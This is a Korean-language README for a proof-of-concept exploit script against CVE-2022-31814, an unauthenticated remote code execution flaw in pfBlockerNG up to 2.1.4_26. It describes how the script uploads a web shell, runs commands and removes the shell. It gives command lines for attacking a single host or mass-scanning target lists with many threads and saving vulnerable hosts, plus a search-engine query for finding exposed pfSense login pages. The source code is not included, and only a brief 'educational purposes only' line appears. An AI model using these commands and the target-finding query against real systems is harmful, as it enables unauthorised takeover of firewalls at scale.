
pfBlockerNG <= 2.1.4_26 인증되지 않은 RCE (CVE-2022-31814)
이 스크립트는 pfBlockerNG <= 2.1.4_26에서 원격 코드 실행을 가능하게 하는 개념 증명(PoC) 익스플로잇입니다. 단일 대상 URL 또는 URL 목록을 입력받아 셸을 업로드하고, 명령을 실행한 다음 셸을 삭제합니다.
이 스크립트는 Python 3.x와 requests 및 concurrent.futures 모듈이 설치되어 있어야 합니다. 다음 명령으로 모듈을 설치할 수 있습니다:
pip3 install requests concurrent.futures
또는
pip3 install -r requirements.txt
usage: exploit.py [-h] [-c COMMAND] [-l LIST] [-i IP] [-t THREADS] [-o OUTPUT]
pfBlockerNG <= 2.1.4_26 Unauth RCE
options:
-h, --help show this help message and exit
-c COMMAND, --command COMMAND
Console Command ('id')
-l LIST, --list LIST List of targets (list.txt)
-i IP, --ip IP Base target uri (ex. http://target-uri/)
-t THREADS, --threads THREADS
Number of threads for mass scan
-o OUTPUT, --output OUTPUT
Output file (vuln.txt)
단일 대상을 익스플로잇하려면 -i 또는 --ip 플래그를 사용하고 기준 URL 또는 IP 주소를 지정하세요:
python3 exploit.py -i http://target-uri/ -c 'id'
대상 목록을 스캔하려면 -l 또는 --list 플래그를 사용하고 목록 파일의 경로를 지정하세요:
python3 exploit.py -l list.txt -c 'id' -t 50
-t 또는 --threads 플래그를 사용하여 스캔에 사용할 스레드 수를 지정할 수 있습니다.
-o 또는 --output 플래그를 지정하면 취약한 대상 목록이 파일로 기록됩니다:
python3 exploit.py -l list.txt -c 'id' -o vuln.txt
http.title:"pfSense - Login" "Server: nginx" "Set-Cookie: PHPSESSID="
이 스크립트는 교육 목적으로만 제공됩니다. 사용에 따른 책임은 사용자 본인에게 있습니다.